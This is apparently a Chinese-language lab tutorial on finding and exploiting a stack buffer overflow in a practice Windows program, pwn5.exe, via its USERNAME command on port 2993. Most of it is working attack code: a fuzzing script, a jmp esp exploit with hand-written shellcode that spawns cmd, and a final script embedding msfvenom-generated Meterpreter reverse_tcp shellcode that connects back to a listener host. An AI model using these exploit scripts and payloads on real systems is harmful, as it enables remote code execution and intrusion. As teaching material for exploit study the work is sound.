栈溢出基本上是学习逆向的第一步,也是最简单的漏洞之一。现在的操作系统上已经很难单纯的利用栈溢出漏洞。利用pwn5.exe这个程序的栈溢出漏洞练习一下栈溢出漏洞的手动寻找与利用。
源程序下载
栈溢出简介栈溢出是这样的一种漏洞。当程序使用了一些危险函数或者由于各种各样的原因,对用户输入的检查不严格,导致用户输入的数据本应在栈上作为数据进行存储,却被当作代码运行的一种漏洞。
本文用jmp esp利用上述软件的漏洞。
寻找溢出漏洞先看一下整个程序的大概情况,明确这个程序的功能。
用IDA Pro打开这个程序,调用F5插件看一下main函数伪代码,很明显是一个Socket,绑定2993端口。
sub_4010B0这个函数很像是用户自己编写的函数,应该是用户自己编写的代码。双击这个函数进去看一下,发现了一个判断用户输入来进行响应的处理,在USERNAME这一个条件里又看到了一个IDA不认识名字的函数,进去看一下。
看到一个for循环,乍一看不知道是干什么,但是,一点一点仔细看下来很明显是字符串拷贝,修改变量名,这样看起来就清晰多了。
这个字符串拷贝很明显没有加什么保护措施,这样的代码一定是有问题的。
再看一下程序给这个字符串开辟的长度是多少。
我们先尝试用多于512个字节的数据覆盖掉这个函数的的返回地址。看是否能成功。
1 2 3 4 5 6 7 8 9 10 11 12 13 from zio import * host = "172.16.189.218" port = 2993 tul = zio((host,port)) tul.read_until('*************** Welcome to take the challenge!*****************\n') ch = 'a' ss = ch try: while True: ss = ss + ch tul.write('USERNAME' + ss + '\x0d\x0a') except: print len(ss)
程序崩溃了,再用OD看一下。
很明显可以看到esp所在的栈地址被aaaa覆盖。
漏洞利用接下来构造shellcode。
看到栈空间的布局之后,计算shellcode在栈中的位置,注意的是栈的对齐,即jmp esp时esp的位置一定是4的整数倍。
这次采用二次跳转的方式执行shellcode。
为什么用sub一个负数来调整栈位置呢?因为如果使用正数,字符串中就会出现\x00,字符串拷贝函数就会从这里截断。
这里就是我们的shellcode了。
弹出了一个cmd,下面是shellcode的代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 from zio import * host = "172.16.189.218" port = 2993 io = zio((host,port)) io.read_until('*************** Welcome to take the challenge! *****************\n') shellcode =("\x31\xc0\xeb\x13\x5b\x88\x43\x0e\x53\xbb\xad\x23\x86\x7c\xff\xd3\xbb" "\xfa\xca\x81\x7c\xff\xd3\xe8\xe8\xff\xff\xff\x63\x6d\x64\x2e\x65\x78" "\x65\x20\x2f\x63\x20\x63\x6d\x64") print len(shellcode) # print shellcode.encode('hex') ret = 0x0012f3d4 io.write('USERNAME ' + 'a'*3 + '\x81\xEC\xC8\xFE\xFF\xFF\xFF\xE4' + shellcode + '\x90'*(511-11-len(shellcode)) + l32(ret) + '\x0d\x0a')
深度利用用msfvenom生成一段shellcode。
root@bogon :~# msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.189.233 lport=8081 -f python -b '\x00' -n 12
新的攻击代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from zio import * host = "172.16.189.218" port = 2993 io = zio((host,port)) io.read_until('*************** Welcome to take the challenge! *****************\n') buf = "" buf += "\x3f\x9f\x49\xf8\x3f\xd6\xfd\x41\x92\xfc\x41\x41\xdb" buf += "\xd3\xd9\x74\x24\xf4\xb8\xc1\xf9\xbb\x2a\x5a\x2b\xc9" buf += "\xb1\x54\x31\x42\x18\x03\x42\x18\x83\xea\x3d\x1b\x4e" buf += "\xd6\x55\x5e\xb1\x27\xa5\x3f\x3b\xc2\x94\x7f\x5f\x86" buf += "\x86\x4f\x2b\xca\x2a\x3b\x79\xff\xb9\x49\x56\xf0\x0a" buf += "\xe7\x80\x3f\x8b\x54\xf0\x5e\x0f\xa7\x25\x81\x2e\x68" buf += "\x38\xc0\x77\x95\xb1\x90\x20\xd1\x64\x05\x45\xaf\xb4" buf += "\xae\x15\x21\xbd\x53\xed\x40\xec\xc5\x66\x1b\x2e\xe7" buf += "\xab\x17\x67\xff\xa8\x12\x31\x74\x1a\xe8\xc0\x5c\x53" buf += "\x11\x6e\xa1\x5c\xe0\x6e\xe5\x5a\x1b\x05\x1f\x99\xa6" buf += "\x1e\xe4\xe0\x7c\xaa\xff\x42\xf6\x0c\x24\x73\xdb\xcb" buf += "\xaf\x7f\x90\x98\xe8\x63\x27\x4c\x83\x9f\xac\x73\x44" buf += "\x16\xf6\x57\x40\x73\xac\xf6\xd1\xd9\x03\x06\x01\x82" buf += "\xfc\xa2\x49\x2e\xe8\xde\x13\x26\xdd\xd2\xab\xb6\x49" buf += "\x64\xdf\x84\xd6\xde\x77\xa4\x9f\xf8\x80\xcb\xb5\xbd" buf += "\x1f\x32\x36\xbe\x36\xf0\x62\xee\x20\xd1\x0a\x65\xb1" buf += "\xde\xde\x10\xb4\x48\x4d\xf4\x0b\x61\xe5\xf7\x73\x6e" buf += "\x67\x7e\x95\xc0\xd7\xd1\x0a\xa0\x87\x91\xfa\x48\xc2" buf += "\x1d\x24\x68\xed\xf7\x4d\x02\x02\xae\x26\xba\xbb\xeb" buf += "\xbd\x5b\x43\x26\xb8\x5b\xcf\xc3\x3c\x15\x38\xa1\x2e" buf += "\x41\x59\x49\xaf\x91\xf0\x49\xc5\x95\x52\x1d\x71\x97" buf += "\x83\x69\xde\x68\xe6\xe9\x19\x96\x77\xd8\x52\xa0\xed" buf += "\x64\x0d\xcc\xe1\x64\xcd\x9a\x6b\x65\xa5\x7a\xc8\x36" buf += "\xd0\x85\xc5\x2a\x49\x13\xe6\x1a\x3d\xb4\x8e\xa0\x18" buf += "\xf2\x10\x5a\x4f\x81\x57\xa4\x0d\xa7\xff\xcd\xed\xe7" buf += "\xff\x0d\x84\xe7\xaf\x65\x53\xc8\x40\x46\x9c\xc3\x08" buf += "\xce\x17\x85\xfb\x6f\x27\x8c\x5a\x2e\x28\x22\x47\x27" buf += "\xa7\xc5\x78\x48\x49\xfa\xae\x71\x3f\x3b\x73\xc6\x30" buf += "\x76\xd6\x6f\xdb\x78\x44\x6f\xce" shellcode = buf print len(shellcode) # print shellcode.encode('hex') ret = 0x0012f3d4 io.write('USERNAME ' + 'a'*3 + '\x81\xEC\xC8\xFE\xFF\xFF\xFF\xE4' + shellcode + '\x90'*(511-11-len(shellcode)) + l32(ret) + '\x0d\x0a')
成功获得Meterpreter的shell,接下来就是meterpreter的各种用法了。